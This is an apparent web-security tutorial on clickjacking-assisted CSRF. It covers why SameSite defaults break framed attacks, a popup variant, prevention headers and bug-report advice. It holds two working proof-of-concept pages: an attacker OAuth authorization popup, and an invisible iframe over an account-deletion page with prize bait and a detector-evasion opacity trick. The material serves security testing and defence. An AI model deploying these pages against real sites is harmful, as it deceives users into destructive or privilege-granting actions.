Clickjacking-Assisted CSRF
Making the victim submit the real form with the real token — and why Lax-by-default has quietly killed most framed sessions.
Let the victim supply the token
Every defence in the token family rests on one assumption: the attacker cannot obtain a valid token for the victim's session. Clickjacking sidesteps it rather than breaking it — the victim's own browser renders the real form, with the real token, and the victim clicks the real button.
The server sees a perfectly legitimate request: correct token, correct Origin (the target's own, because the form is on the target's page), Sec-Fetch-Site: same-origin. Every header-based and token-based check passes, because from the server's point of view nothing is wrong.
The classic version frames the target invisibly and overlays bait so the victim's click lands on the target's button. In 2026 that version usually fails, for a reason that has nothing to do with clickjacking defences — see the next section. The techniques that still work route around the frame.
Why the framed version usually fails now
An <iframe> is a subresource, not a navigation. So the framed page gets the third-party cookie treatment:
| Cookie | Framed page receives it? |
|---|---|
SameSite=Strict | No |
SameSite=Lax | No |
| No attribute | No — Chromium's Lax default, Firefox partitions, Safari blocks |
SameSite=None; Secure | Chromium only |
Read that column again: in every case except SameSite=None in Chromium, the framed page renders logged out. There is no session, so there is no pre-filled form, no valid token, and nothing worth clicking. The attack fails before any overlay is involved.
This is a genuine, if accidental, security improvement — cookie policy killed most clickjacking against authenticated actions as a side effect of killing third-party cookies. It also means a clickjacking finding against an authenticated action needs the cookie posture stated explicitly, or it is not credible.
The attack remains viable in three situations: the cookie is SameSite=None (in Chromium); the target uses non-cookie ambient auth like Basic or a client certificate; or the attacker uses a popup instead of a frame.
The popup variant
<!doctype html>
<html>
<body>
<!-- A popup is a TOP-LEVEL browsing context, so it gets the cookie under
Lax and under an absent attribute -- exactly where an iframe does
not. That makes it the shape that keeps this attack alive.
The trade-offs versus a frame:
- Requires a user gesture, or the popup blocker stops it. Wire it
to a click the victim was going to make anyway.
- You cannot overlay or style it, so it is not literally
clickjacking any more -- it is a social-engineering flow that
lands the victim on a real, authenticated page.
- X-Frame-Options and frame-ancestors do NOT apply to popups.
Those headers only govern framing. An application can be fully
protected against clickjacking and still be exposed here.
The pattern: open the target's action page, and rely on the victim
completing a step that looks like part of your flow. Effective
against one-click confirmations -- "Authorize", "Connect",
"Approve" -- which is why OAuth consent screens require careful
design of their own. -->
<button onclick="connect()">Connect your account to continue</button>
<script>
function connect() {
window.open(
'https://app.example/oauth/authorize?client_id=attacker&scope=read_write',
'connect',
'width=500,height=700'
)
}
</script>
</body>
</html>The classic framed overlay
<!doctype html>
<html>
<head>
<style>
/* The target, made invisible and positioned so the button the victim
wants to click sits exactly under the bait. */
#target {
position: absolute; top: -412px; left: -85px;
width: 800px; height: 900px;
opacity: 0.0001; /* not 0 -- some detectors check for 0 */
z-index: 2;
}
#bait {
position: absolute; top: 300px; left: 200px;
z-index: 1;
}
</style>
</head>
<body>
<div id="bait">
<h1>You have won a prize</h1>
<button style="font-size:24px;padding:16px 32px">Claim it</button>
</div>
<!-- Only renders an authenticated page if the session cookie is
SameSite=None; Secure, and then only in Chromium. Otherwise the
victim's click lands on a logged-out page and nothing happens. -->
<iframe id="target" src="https://app.example/account/delete"></iframe>
</body>
</html>Prevention
# The modern control. frame-ancestors supersedes X-Frame-Options and is the
# one browsers honour when both are present.
Content-Security-Policy: frame-ancestors 'none'
# Or, to allow framing by your own origin only:
Content-Security-Policy: frame-ancestors 'self'
# Or a specific partner, exact origin, no wildcards:
Content-Security-Policy: frame-ancestors https://partner.example.com
# Keep X-Frame-Options alongside it for older clients. It has no allowlist
# form worth using -- ALLOW-FROM was never widely supported and is obsolete.
X-Frame-Options: DENY
# Remember what these do NOT cover:
# - Popups. window.open is not framing; neither header applies.
# - Navigations. A top-level redirect to your page is not framing either.
# So framing headers are necessary but not sufficient for one-click actions.Reporting
Clickjacking reports have a poor reputation with triage teams, largely because a great many are "the site is missing X-Frame-Options" with no demonstrated impact. To be taken seriously:
- State the cookie posture. Quote the
Set-Cookieand say why the framed page will be authenticated. If the session cookie isLaxor unset, a framed PoC will not reproduce and you should be using the popup variant instead. - Name the browser. A
SameSite=Noneframed attack is Chromium-only in 2026. - Show a real action completing, not just that the page frames. Missing
frame-ancestorson a page with no state-changing action is at most informational. - Record it. A screen recording of the click landing on the hidden control is far more convincing than a static screenshot, and takes a minute.
- Explain the click. Why would the victim click there? A plausible bait flow is part of the finding; "assume the user clicks" is not.
Related
Exactly when Lax, Strict, None, and an absent attribute attach a cookie to a cross-site request — and why the three engines disagree.
img, script, link, scripted link clicks, and top-level navigation — and why only the last one still carries a cookie.
Forcing the victim into the attacker's session, the OAuth state parameter, callback CSRF, and account-linking takeover.
What still works and what died with Lax-by-default — the honest, browser-by-browser exploitability verdict, plus the techniques that are now purely historical.
The layering order — SameSite=Lax, __Host- prefix, Fetch Metadata rejection, then a token — plus re-authentication for high-value operations.
A server-side token bound to the session, plus the lifecycle questions: per-request versus per-session, rotation, BREACH masking, and back-button breakage.